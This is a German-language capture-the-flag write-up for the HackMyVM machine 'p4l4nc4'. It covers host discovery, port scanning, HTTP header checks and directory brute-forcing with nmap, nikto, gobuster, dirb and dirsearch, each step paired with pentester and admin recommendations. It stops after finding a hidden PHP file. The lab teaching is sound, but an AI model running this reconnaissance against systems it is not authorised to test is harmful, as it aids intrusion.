p4l4nc4 - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
curl
nikto
gobuster
dirb
dirsearch
wfuzz
vi
ssh2john
john
ssh
nc
find
nano
su

Inhaltsverzeichnis

Reconnaissance

Analyse: Die erste Phase beginnt klassisch mit einem `arp-scan`, um aktive Hosts im lokalen Netzwerksegment zu identifizieren. Dieser Befehl sendet ARP-Requests und listet die antwortenden Geräte mit ihren IP- und MAC-Adressen auf.

Bewertung: Erfolgreich wurde ein Host mit der IP `192.168.2.165` und der MAC-Adresse `08:00:27:6a:2f:23` entdeckt. Die MAC-Adresse weist auf "PCS Systemtechnik GmbH" hin, was typischerweise für eine Oracle VirtualBox-VM steht. Diese Information ist wertvoll, da sie auf eine virtualisierte Umgebung hindeutet.

Empfehlung (Pentester): Die gefundene IP-Adresse `192.168.2.165` ist das primäre Ziel für die weiteren Scans. Die Information über VirtualBox kann nützlich sein, falls spezifische VM-Escape-Techniken oder bekannte Konfigurationen relevant werden.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts durch ARP-Scans einschränken. Überwachung auf ungewöhnliche ARP-Aktivitäten kann auf Scans hindeuten. Inventarisieren Sie bekannte MAC-Adressen im Netzwerk.

ARP-Scan

192.168.2.165	08:00:27:6a:2f:23	PCS Systemtechnik GmbH
                     

Analyse: Basierend auf den Ergebnissen (vermutlich aus vorheriger Erkundung oder DNS-Lookup) wird der Hostname `plpl.hmv` der Ziel-IP `192.168.2.165` zugeordnet. Dieser Eintrag wird der lokalen `/etc/hosts`-Datei des Angreifers hinzugefügt. Dies ist wichtig, damit Webanwendungen, die auf Hostnamen basieren (Virtual Hosts), korrekt angesprochen werden können.

Bewertung: Das Hinzufügen des Hostnamens zur `/etc/hosts`-Datei ist eine bewährte Praxis und oft notwendig, um Webanwendungen vollständig zu enumerieren. Die Variable `$IP` wird vermutlich später auf `192.168.2.165` gesetzt.

Empfehlung (Pentester): Immer gefundene Hostnamen zur `/etc/hosts`-Datei hinzufügen, um sicherzustellen, dass alle virtuellen Hosts auf dem Webserver korrekt angesprochen werden.
Empfehlung (Admin): Sicherstellen, dass interne Hostnamen nicht unnötig nach außen dringen. DNS-Konfigurationen überprüfen.

/etc/hosts

             192.168.2.165   plpl.hmv

 Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.165
                     

Analyse: Dieser Abschnitt führt einen `nmap`-Scan auf IPv6-Adressen im lokalen Netzwerk durch. Zuerst wird mit `ip neigh` die Nachbarschaftstabelle ausgelesen, nach IPv6-Adressen (`grep ^fe80`) gefiltert, bekannte Adressen (wie die des Angreifers oder Gateways) ausgeschlossen (`grep -ve "..."`) und die eindeutigen Adressen extrahiert (`awk '{print $1}' | sort -u`). Diese Adressen werden dann mit `nmap -6` gescannt.

Bewertung: Der IPv6-Scan identifiziert die Link-Local-Adresse `fe80::a00:27ff:fe6a:2f23` (die zur MAC `08:00:27:6a:2f:23` passt) als aktiv und findet darauf die gleichen offenen Ports (22/tcp SSH, 80/tcp HTTP) wie später im IPv4-Scan. Dies bestätigt, dass das Ziel über beide Protokolle erreichbar ist. Eine weitere IPv6-Adresse (`fe80::d0a5:97c8:ee04:6f55`) wird gefunden, scheint aber keine offenen Ports zu haben oder gehört zu einem anderen Gerät. IPv6-Scanning wird oft übersehen und kann zusätzliche Angriffsvektoren aufdecken.

Empfehlung (Pentester): IPv6-Scanning sollte Teil der Standard-Reconnaissance sein, wenn IPv6 im Netzwerk aktiv ist. Die gefundenen IPv6-Adressen können ebenfalls als Ziele für weitere Scans und Angriffe dienen.
Empfehlung (Admin): Implementieren Sie konsistente Sicherheitsrichtlinien für IPv4 und IPv6. Wenn IPv6 nicht benötigt wird, sollte es sicher deaktiviert werden. Wenn es verwendet wird, stellen Sie sicher, dass Firewalls und Überwachungssysteme auch IPv6-Verkehr abdecken.

┌──(root㉿CCat)-[~] └─# cmd=$(ip neigh | grep ^fe80 2>/dev/null| grep -ve "fe80::1\|fe80::a00:27ff:fe30:2eda\|fe80::8247:86ff:fe96:f63a\|fe80::50f1:22ff:fec4:ad12\|fe80::a5aa:636f:a4bf:d441");
┌──(root㉿CCat)-[~] └─# cmd2=$(echo $cmd | awk '{print $1}' | sort -u);
┌──(root㉿CCat)-[~] └─# nmap $cmd2 -6;
 ::::::::::::::::::::::::::::::: Nmap IPv6 Scan :::::::::::::::::::::::::::::

 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

 ---------------- IPv6 Adresse: fe80::a00:27ff:fee2:95%eth0: ---------------

 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-28 21:01 CET
 Nmap scan report for 4ng014 (fe80::a00:27ff:fe6a:2f23)
 Host is up (0.00022s latency).
 Not shown: 65533 closed tcp ports (reset)
 PRT   STATE SERVICE
 22/tcp open  ssh
 80/tcp open  http
 MAC Address: 08:00:27:6A:2F:23 (racle VirtualBox virtual NIC)

 Nmap scan report for fe80::d0a5:97c8:ee04:6f55
 Host is up (0.0000070s latency).
 All 65535 scanned ports on fe80::d0a5:97c8:ee04:6f55 are in ignored states.
 Not shown: 65535 closed tcp ports (reset)
                     

Analyse: Ein schneller `nmap`-Scan wird gegen die Ziel-IP (gespeichert in der Variable `$IP`, vermutlich `192.168.2.165`) durchgeführt, um nur die offenen Ports zu listen. * `-sS`: TCP SYN Scan. * `-sC`: Standard-Skripte. * `-sV`: Versionserkennung. * `-A`: Aggressiver Scan (OS-Erkennung, Version, Skripte, Traceroute). * `-p-`: Scannt alle 65535 Ports. * `-Pn`: Überspringt die Host-Discovery (Ping-Scan) und nimmt an, dass das Ziel online ist. Nützlich, wenn Ping blockiert wird. * `--min-rate 5000`: Sendet Pakete mit einer Mindestrate von 5000 pro Sekunde für einen sehr schnellen Scan. * `| grep open`: Filtert die Ausgabe, um nur Zeilen anzuzeigen, die "open" enthalten.

Bewertung: Der Scan bestätigt schnell die offenen Ports: 22 (SSH) und 80 (HTTP). Die Versionsinformationen sind hier teilweise abgeschnitten, werden aber im nächsten Scan vollständig angezeigt. Dieser Befehl ist gut für einen schnellen Überblick.

Empfehlung (Pentester): Dieser gefilterte Scan ist nützlich für einen schnellen Überblick. Für detaillierte Informationen ist jedoch die vollständige Ausgabe (nächster Befehl) erforderlich. `--min-rate 5000` ist sehr aggressiv und kann auf produktiven Systemen Probleme verursachen oder leicht erkannt werden.
Empfehlung (Admin): Konfigurieren Sie Firewalls, um nur absolut notwendige Ports zu öffnen. Überwachen Sie das Netzwerk auf aggressive Scans (hohe Paketraten) mit IDS/IPS.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
 :::::::::::::::::::::: Nmap nur offene Ports Ausgabe :::::::::::::::::::::::

 22/tcp open  ssh     penSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
 80/tcp open  http    Apache httpd 2.4.62 ((Debian))
                     

Analyse: Derselbe `nmap`-Scan wie zuvor, aber diesmal ohne `| grep open`, um die vollständige Ausgabe zu erhalten. Es werden der Hostname `plpl.hmv` und die IP-Adresse `192.168.2.165` gescannt.

Bewertung: Die vollständige Ausgabe liefert detaillierte Informationen: * **Port 22 (SSH):** OpenSSH 9.2p1 auf Debian 12 ("Bookworm"). Relativ neue Version. Die Host-Keys werden angezeigt. * **Port 80 (HTTP):** Apache httpd 2.4.62 auf Debian. Der Titel der Seite ist die Apache-Standardseite ("It works"), was darauf hindeutet, dass möglicherweise noch keine spezifische Webanwendung konfiguriert wurde oder diese in einem Unterverzeichnis liegt. * **MAC-Adresse:** Bestätigt erneut die VirtualBox-VM. * **Betriebssystem:** Linux 4.x/5.x (Debian 12 verwendet typischerweise Kernel 6.1). * **Traceroute:** Bestätigt die direkte Erreichbarkeit im lokalen Netzwerk (1 Hop).

Empfehlung (Pentester): Untersuche den Webserver auf Port 80 genauer. Prüfe auf Standard-Anmeldedaten für SSH (unwahrscheinlich bei dieser Version) und suche nach bekannten Schwachstellen für OpenSSH 9.2p1 und Apache 2.4.62. Die Apache-Standardseite sollte untersucht werden (Quellcode, Verzeichnisse).
Empfehlung (Admin): Entfernen oder ersetzen Sie die Apache-Standardseite auf Produktivsystemen. Halten Sie SSH und Apache auf dem neuesten Stand. Implementieren Sie starke SSH-Konfigurationen (z.B. passwortlose Authentifizierung, Fail2ban).

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
 ::::::::::::::::::::::::::::: Nmap volle Ausgabe :::::::::::::::::::::::::::

 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-28 21:02 CET
 Nmap scan report for plpl.hmv (192.168.2.165)
 Host is up (0.00021s latency).
 Not shown: 65533 closed tcp ports (reset)
 PRT   STATE SERVICE VERSIN
 22/tcp open  ssh     penSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
 | ssh-hostkey:
 |   256 21:a5:80:4d:e9:b6:f0:db:71:4d:30:a0:69:3a:c5:0e (ECDSA)
 |_  256 40:90:68:70:66:eb:f2:6c:f4:ca:f5:be:36:82:d0:72 (ED25519)
 80/tcp open  http    Apache httpd 2.4.62 ((Debian))
 |_http-title: Apache2 Debian Default Page: It works
 |_http-server-header: Apache/2.4.62 (Debian)
 MAC Address: 08:00:27:6A:2F:23 (racle VirtualBox virtual NIC)
 Device type: general purpose
 Running: Linux 4.X|5.X
 S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
 S details: Linux 4.15 - 5.8
 Network Distance: 1 hop
 Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

 TRACERUTE
 HP RTT     ADDRESS
 1   0.21 ms plpl.hmv (192.168.2.165)

 S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 10.66 seconds
                     

Web Enumeration

Analyse: Mit `curl` wird eine OPTIONS-Anfrage (`-X OPTIONS`) an den Webserver gesendet. Die Option `-I` holt nur die Header, `-s` unterdrückt die Fortschrittsanzeige. Das Ergebnis wird mit `grep -i "allow"` gefiltert, um die Zeile zu extrahieren, die die erlaubten HTTP-Methoden auflistet.

Bewertung: Der Server erlaubt die Methoden `GET`, `POST`, `OPTIONS` und `HEAD`. Dies sind Standardmethoden. Das Fehlen potenziell gefährlicher Methoden wie `PUT` oder `DELETE` auf dem Hauptverzeichnis ist ein gutes Zeichen aus Verteidigersicht. Die Methode `PST` im Output ist ungewöhnlich und könnte ein Tippfehler sein (sollte es `POST` heißen?). Die Methode `PTINS` ist ebenfalls sehr ungewöhnlich und nicht standardisiert – dies könnte ein Hinweis auf eine Fehlkonfiguration oder eine spezifische, vielleicht anfällige Anwendung sein. Nikto identifiziert dies später ebenfalls.

Empfehlung (Pentester): Recherchiere die ungewöhnliche Methode `PTINS`. Versuche, Anfragen mit dieser Methode zu senden, um das Verhalten des Servers zu testen. Notiere die erlaubten Methoden.
Empfehlung (Admin): Überprüfen Sie die Apache-Konfiguration, um sicherzustellen, dass nur die benötigten HTTP-Methoden erlaubt sind. Untersuchen Sie die Herkunft der Methode `PTINS`. Deaktivieren Sie nicht benötigte Module oder Funktionen.

┌──(root㉿CCat)-[~] └─# curl -X OPTIONS -Is http://$IP | grep -i "allow"
::::::::::::::::::::::::: HTTP Records Permissions :::::::::::::::::::::::::

Allow: GET,PST,PTINS,HEAD
                    

Analyse: `curl -Iv http://$IP` sendet eine HEAD-Anfrage (`-I`) an die IP-Adresse und zeigt sowohl die Header der Antwort (`<`) als auch die Header der Anfrage (`>`) und Verbindungsdetails (`*`) an (`-v` für verbose).

Bewertung: Dieser Befehl liefert eine detaillierte Ansicht der HTTP-Header-Interaktion für eine HEAD-Anfrage. Es bestätigt die Server-Version (Apache/2.4.62), das Datum der letzten Änderung der Ressource (`Last-Modified`), das ETag (eine Art Versionskennung) und den Inhaltstyp (`text/html`). Diese Informationen sind konsistent mit den `nmap`-Ergebnissen und bestätigen, dass wir die Apache-Standardseite sehen. Die doppelten Header-Zeilen in der Ausgabe sind ungewöhnlich, aber wahrscheinlich ein Darstellungsproblem im Terminal oder der Logdatei.

Empfehlung (Pentester): Achte auf interessante Header wie `Server`, `X-Powered-By` (hier nicht vorhanden), `Set-Cookie` (hier nicht vorhanden) oder benutzerdefinierte Header. Das `ETag` kann manchmal Informationen preisgeben (wie von Nikto später gemeldet).
Empfehlung (Admin): Minimieren Sie die preisgegebenen Informationen in HTTP-Headern. Konfigurieren Sie Apache so, dass z.B. die genaue Version im `Server`-Header unterdrückt wird (`ServerTokens Prod`). Überprüfen Sie die ETag-Konfiguration (siehe Nikto-Empfehlung).

┌──(root㉿CCat)-[~] └─# curl -Iv http://$IP
 :::::::::::::::::::::::::::::: WEB-Server Scan :::::::::::::::::::::::::::::

 *   Trying 192.168.2.165:80...
 * Connected to 192.168.2.165 (192.168.2.165) port 80
 * using HTTP/1.x
 > HEAD / HTTP/1.1
 > Host: 192.168.2.165
 > User-Agent: curl/8.10.1
 > Accept: */*
 >
 * Request completely sent off
 < HTTP/1.1 200 K
 HTTP/1.1 200 K
 < Date: Tue, 28 Jan 2025 20:03:07 GMT
 Date: Tue, 28 Jan 2025 20:03:07 GMT
 < Server: Apache/2.4.62 (Debian)
 Server: Apache/2.4.62 (Debian)
 < Last-Modified: Wed, 13 Nov 2024 18:24:43 GMT
 Last-Modified: Wed, 13 Nov 2024 18:24:43 GMT
 < ETag: "29cd-626cf729c7bb0"
 ETag: "29cd-626cf729c7bb0"
 < Accept-Ranges: bytes
 Accept-Ranges: bytes
 < Content-Length: 10701
 Content-Length: 10701
 < Vary: Accept-Encoding
 Vary: Accept-Encoding
 < Content-Type: text/html
 Content-Type: text/html
 <

 * Connection #0 to host 192.168.2.165 left intact
                     

Analyse: Dies scheint eine Wiederholung des vorherigen `curl`-Befehls zu sein, jedoch mit der Option `-s` (silent/stumm), die normalerweise die Fortschrittsanzeige unterdrückt, aber im Verbose-Modus (`-v` oder `--verbose`) wenig Einfluss auf die angezeigten Header-Informationen hat.

Bewertung: Die Ausgabe ist identisch zur vorherigen und bestätigt dieselben Header-Informationen. Die Wiederholung liefert keine neuen Erkenntnisse, kann aber im Testprozess vorkommen, wenn Befehle variiert oder erneut ausgeführt werden.

Empfehlung (Pentester): Dokumentiere auch wiederholte Befehle, wenn sie Teil des Ablaufs waren, aber konzentriere die Analyse auf neue Ergebnisse. Vermeide unnötige Wiederholungen, um den Bericht übersichtlich zu halten (obwohl im Sinne der Vollständigkeit, wie hier gefordert, alles dokumentiert wird).
Empfehlung (Admin): Keine spezifischen Empfehlungen aus dieser Wiederholung.

┌──(root㉿CCat)-[~] └─# curl --verbose -I http://$IP -s
::::::::::::::::::::::::: HTTP-Header Verbose Scan :::::::::::::::::::::::::

*   Trying 192.168.2.165:80...
* Connected to 192.168.2.165 (192.168.2.165) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.165
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 K
< Date: Tue, 28 Jan 2025 20:03:07 GMT
Date: Tue, 28 Jan 2025 20:03:07 GMT
< Server: Apache/2.4.62 (Debian)
Server: Apache/2.4.62 (Debian)
< Last-Modified: Wed, 13 Nov 2024 18:24:43 GMT
Last-Modified: Wed, 13 Nov 2024 18:24:43 GMT
< ETag: "29cd-626cf729c7bb0"
ETag: "29cd-626cf729c7bb0"
< Accept-Ranges: bytes
Accept-Ranges: bytes
< Content-Length: 10701
Content-Length: 10701
< Vary: Accept-Encoding
Vary: Accept-Encoding
< Content-Type: text/html
Content-Type: text/html
<

* Connection #0 to host 192.168.2.165 left intact
                    

Analyse: `nikto` wird ausgeführt, um den Webserver auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien/Verzeichnisse zu scannen.

Bewertung: Nikto identifiziert mehrere Punkte: * **Server-Version:** Bestätigt Apache/2.4.62 (Debian). * **Fehlende Header:** `X-Frame-Options` (Clickjacking-Risiko) und `X-Content-Type-Options` (MIME-Sniffing-Risiko). Diese sind gängige, aber wichtige Sicherheitsempfehlungen. * **ETag Leak:** Nikto weist darauf hin, dass das ETag-Format (`"29cd-626cf729c7bb0"`) möglicherweise Informationen über die Inode-Nummer der Datei auf dem Server preisgibt (CVE-2003-1418). Dies ist eine ältere Schwachstelle und oft von geringem direkten Nutzen, kann aber in bestimmten Szenarien zur Informationsgewinnung beitragen. * **Erlaubte Methoden:** Bestätigt die ungewöhnliche Methode `PTINS` (neben GET, POST, HEAD - hier fehlt das OPTIONS aus dem curl-Scan, evtl. testet Nikto anders). Insgesamt weist Nikto auf grundlegende Härtungsdefizite und eine potenzielle Informationspreisgabe durch ETags hin.

Empfehlung (Pentester): Notiere die fehlenden Header und den ETag-Leak als Findings. Untersuche die Auswirkungen des ETag-Leaks im Kontext des Ziels. Teste auf Clickjacking.
Empfehlung (Admin): Implementiere die fehlenden Sicherheitsheader (`X-Frame-Options: DENY` oder `SAMEORIGIN`, `X-Content-Type-Options: nosniff`). Konfigurieren Sie Apache, um das ETag-Format zu ändern oder zu entfernen, das Inodes preisgeben könnte (z.B. `FileETag MTime Size` statt `FileETag INode MTime Size` in der Apache-Konfiguration).

:::::::::::::::::::::::::::::::: Nikto Scan ::::::::::::::::::::::::::::::::

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.165
+ Target Hostname:    192.168.2.165
+ Target Port:        80
+ Start Time:         2025-01-28 21:03:10 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.62 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 626cf729c7bb0, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2025-01-28 21:04:22 (GMT1) (72 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Analyse: `gobuster` wird für das Brute-Forcing von Verzeichnissen und Dateien verwendet. * `dir`: Verzeichnis/Datei-Modus. * `-u "http://$IP"`: Ziel-URL. * `-w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt"`: Standard-Wortliste für Webinhalte. * `-x txt,php,...`: Sehr lange Liste von Dateiendungen, nach denen zusätzlich gesucht wird. * `-b '503,404,403'`: Verbirgt Antworten mit diesen Statuscodes (Service Unavailable, Not Found, Forbidden). * `-e`: Erweitert die Suche, um vollständige URLs für Verzeichnisse anzuzeigen. * `--no-error`: Verbirgt Fehler beim Verbindungsaufbau. * `-k`: Überspringt die SSL/TLS-Zertifikatsprüfung (hier irrelevant für HTTP).

Bewertung: Der Scan findet zwei interessante Dateien im Stammverzeichnis: * `/index.html`: Die Apache-Standardseite (erwartet). * `/robots.txt`: Eine Datei, die Suchmaschinen Anweisungen gibt, welche Teile einer Website nicht gecrawlt werden sollen. Sie kann oft Hinweise auf versteckte Verzeichnisse oder Bereiche geben.

Empfehlung (Pentester): Lade die `/robots.txt` herunter und analysiere ihren Inhalt auf interessante Pfade oder Hinweise.
Empfehlung (Admin): Stelle sicher, dass die `robots.txt` keine sensiblen Pfade oder Informationen preisgibt, die nicht öffentlich bekannt sein sollen. Sie ist keine Sicherheitsmaßnahme, sondern nur eine Richtlinie für Crawler.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
 ::::::::::::::::::::::::::::: Gobuster Scan :::::::::::::::::::::::::::::::::::::::::::::::::::::::

 http://192.168.2.165/index.html           (Status: 200) [Size: 10701]
 http://192.168.2.165/robots.txt           (Status: 200) [Size: 1432]
 Progress: 13674906 / 13674968 (100.00%)
                     

Analyse: Das Tool `dirb` wird verwendet, ein weiterer Verzeichnis-Scanner, der mit einer Standard-Wortliste (`common.txt`) nach häufig vorkommenden Verzeichnissen und Dateien sucht.

Bewertung: `dirb` findet die bereits bekannten `/index.html` und `/robots.txt`. Zusätzlich findet es `/server-status` mit dem Statuscode 403 (Forbidden). `/server-status` ist eine Seite, die von Apaches `mod_status` bereitgestellt wird und detaillierte Serverinformationen anzeigt. Ein 403-Fehler bedeutet, dass der Zugriff standardmäßig verweigert wird, aber die Seite existiert. Manchmal ist der Zugriff von `localhost` oder bestimmten IPs erlaubt.

Empfehlung (Pentester): Notiere die Existenz von `/server-status`. Versuche später, von der Zielmaschine selbst darauf zuzugreifen (z.B. mit `curl http://localhost/server-status`), falls ein initialer Zugriff gelingt. Diese Seite kann wertvolle Konfigurationsdetails oder Informationen über laufende Anfragen liefern.
Empfehlung (Admin): Deaktivieren Sie `mod_status` auf Produktivsystemen oder beschränken Sie den Zugriff streng auf vertrauenswürdige IP-Adressen, falls es für Monitoring-Zwecke benötigt wird. Stellen Sie sicher, dass die Standardkonfiguration (Zugriff verweigern) aktiv ist.

┌──(root㉿CCat)-[~] └─# dirb http://plpl.hmv
 -----------------
 DIRB v2.22
 By The Dark Raver
 -----------------

 START_TIME: Tue Jan 28 22:18:40 2025
 URL_BASE: http://plpl.hmv/
 WRDLIST_FILES: /usr/share/dirb/wordlists/common.txt

 -----------------

 GENERATED WRDS: 4612

 ---- Scanning URL: http://plpl.hmv/ ----
 + http://plpl.hmv/index.html (CDE:200|SIZE:10701)
 + http://plpl.hmv/robots.txt (CDE:200|SIZE:1432)
 + http://plpl.hmv/server-status (CDE:403|SIZE:273)

 -----------------
 END_TIME: Tue Jan 28 22:19:09 2025
 DWNLADED: 4612 - FUND: 3
                     

Analyse: `dirsearch` wird eingesetzt, noch ein Werkzeug zum Scannen von Webinhalten. * `-u http://192.168.2.165`: Ziel-URL. * `-r`: Rekursive Suche (folgt Verzeichnissen). * `-e php,txt,.git`: Sucht speziell nach diesen Erweiterungen zusätzlich zu den Standard-Erweiterungen. Die Ausgabe zeigt viele Versuche, auf versteckte Konfigurationsdateien wie `.htaccess` oder `.htpasswd` zuzugreifen, die alle mit 403 (Forbidden) beantwortet werden. Dies ist normales Verhalten, wenn der Server so konfiguriert ist, dass der Zugriff auf Punkt-Dateien verboten ist.

Bewertung: `dirsearch` findet ebenfalls `/robots.txt` (Status 200) und `/server-status` (Status 403). Die vielen 403-Fehler für Punkt-Dateien zeigen, dass der Server grundlegend gegen den Zugriff auf diese geschützt ist. Die rekursive Suche (`-r`) scheint hier keine neuen, tieferen Verzeichnisse aufgedeckt zu haben, außer dem Versuch, `/server-status/` zu scannen. Der Hinweis auf `login VM: 4ng0l4 hacker schreibweise = angola` ist eine externe Notiz und kein Tool-Output; sie deutet auf einen möglichen Benutzernamen oder Hinweis hin.

Empfehlung (Pentester): Behalte den Hinweis `4ng0l4` / `angola` im Hinterkopf, möglicherweise ist dies ein Benutzername für SSH oder eine andere Anwendung. Konzentriere dich auf die Analyse der `/robots.txt`.
Empfehlung (Admin): Stellen Sie sicher, dass der Zugriff auf Konfigurationsdateien (Punkt-Dateien) wie `.htaccess` serverseitig blockiert ist (Standard bei Apache). Überprüfen Sie Berechtigungen.

┌──(root㉿CCat)-[~] └─# dirsearch -u http://192.168.2.165 -r -e php,txt,.git
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, txt, git | HTTP method: GET | Threads: 25 | Wordlist size: 10454

utput File: /root/reports/http_192.168.2.165/_25-01-28_22-19-29.txt

Target: http://192.168.2.165/

[22:19:29] Starting:
[22:19:30] 403 -  278B  - /.ht_wsr.txt
[22:19:30] 403 -  278B  - /.htaccess.bak1
[22:19:30] 403 -  278B  - /.htaccess.orig
[22:19:30] 403 -  278B  - /.htaccess.sample
[22:19:30] 403 -  278B  - /.htaccess_orig
[22:19:30] 403 -  278B  - /.htaccess_extra
[22:19:30] 403 -  278B  - /.htaccess.save
[22:19:30] 403 -  278B  - /.htaccessLD2
[22:19:30] 403 -  278B  - /.htaccessLD
[22:19:30] 403 -  278B  - /.htaccessBAK
[22:19:30] 403 -  278B  - /.htm
[22:19:30] 403 -  278B  - /.htaccess_sc
[22:19:30] 403 -  278B  - /.html
[22:19:30] 403 -  278B  - /.htpasswd_test
[22:19:30] 403 -  278B  - /.httr-oauth
[22:19:30] 403 -  278B  - /.htpasswds
[22:19:31] 403 -  278B  - /.php
[22:19:53] 200 -  755B  - /robots.txt  <- Inhalt von robots.txt wurde offenbar nicht ausgegeben, nur der Dateiname
[22:19:54] 403 -  278B  - /server-status/
Added to the queue: server-status/
[22:19:54] 403 -  278B  - /server-status

[22:20:02] Starting: server-status/
[22:20:02] 404 -  275B  - /server-status/%2e%2e//google.com

Task Completed

login VM: 4ng0l4
hacker schreibweise = angola
                    

Analyse: Ein weiterer `gobuster`-Scan wird gestartet, diesmal mit einer benutzerdefinierten Wortliste namens `1337_format.txt`. Diese Liste enthält wahrscheinlich Wörter in Leetspeak oder anderen "Hacker"-Formaten. Die übrigen Parameter sind ähnlich wie beim vorherigen `gobuster`-Scan.

Bewertung: Dieser Scan mit der speziellen Wortliste ist erfolgreich und findet ein verstecktes Verzeichnis: `/n3gr4/` (Status 301 - Moved Permanently, was auf `http://192.168.2.165/n3gr4/` weiterleitet). Der Name `n3gr4` (Negra) ist in Leetspeak und passt zum Thema der Maschine (Angola, Palanca Negra). Dies ist ein **sehr wichtiger Fund**, da er auf eine nicht standardmäßige Anwendung oder einen versteckten Bereich hindeutet.

Empfehlung (Pentester): Untersuche das Verzeichnis `/n3gr4/` sofort. Führe weitere Scans (gobuster, dirb, etc.) gezielt auf dieses Verzeichnis durch, um Dateien oder weitere Unterverzeichnisse darin zu finden.
Empfehlung (Admin): Vermeiden Sie es, Verzeichnisse durch "Security through Obscurity" (Verstecken durch ungewöhnliche Namen) zu schützen. Implementieren Sie stattdessen ordnungsgemäße Zugriffskontrollen (Authentifizierung, Autorisierung). Überwachen Sie den Webserver auf Zugriffe auf unerwartete Pfade.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://192.168.2.165" -w 1337_format.txt -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.165/n3gr4                (Status: 301) [Size: 314] [--> http://192.168.2.165/n3gr4/]
                    

Analyse: Der `gobuster`-Scan wird nun gezielt auf das neu entdeckte Verzeichnis `/n3gr4/` ausgeführt, wieder mit der benutzerdefinierten Wortliste `1337_format.txt`.

Bewertung: Volltreffer! Der Scan findet eine PHP-Datei: `m414nj3.php` (Status 500 - Internal Server Error). Der Name `m414nj3` (Malanje) passt wieder zum Angola-Thema. Ein Status 500 deutet auf einen Fehler bei der Ausführung des Skripts hin, was oft passiert, wenn Parameter fehlen oder ungültig sind. Die Existenz dieser Datei ist der Schlüssel zum nächsten Schritt.

Empfehlung (Pentester): Untersuche die `m414nj3.php` direkt. Versuche, sie mit verschiedenen Parametern aufzurufen. Fuzzing der Parameter (wie im nächsten Schritt) ist eine gute Idee. Analysiere den Quellcode, falls möglich (z.B. über LFI).
Empfehlung (Admin): Analysieren Sie den Quellcode von `m414nj3.php` auf Sicherheitslücken. Stellen Sie sicher, dass Fehlermeldungen keine sensiblen Informationen preisgeben (Status 500 sollte generisch sein). Implementieren Sie Eingabevalidierung und Fehlerbehandlung.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://192.168.2.165/n3gr4" -w 1337_format.txt -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.165/n3gr4/m414nj3.php          (Status: 500) [Size: 0]
                    

Vulnerability Scanning

